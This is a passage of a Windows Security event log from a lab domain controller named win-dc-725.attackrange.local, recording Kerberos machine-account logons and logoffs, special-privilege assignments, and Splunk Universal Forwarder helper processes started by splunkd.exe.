AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257019 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1074 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:02:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257018 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x495060 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:02:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257017 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x49516E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:02:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257016 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4951B7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:02:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257015 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x495238 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59280 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:02:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257014 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x495238 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:02:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257013 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4951B7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 59279 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:02:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257012 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4951B7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:02:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257011 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x49516E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:02:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257010 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x49516E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:02:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257009 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x495060 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59278 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:02:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257008 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x495060 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:02:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257021 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x6cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:02:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257020 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb24 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:02:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257022 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x495238 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:02:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257025 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x497336 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:02:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257024 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x497336 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59291 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:02:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257023 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x497336 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:03:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257027 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1314 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:03:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257026 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xee8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:03:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257028 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1320 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:03:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257029 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe34 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:03:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257030 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x104c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:03:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257032 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1110 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:03:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257031 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12dc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program 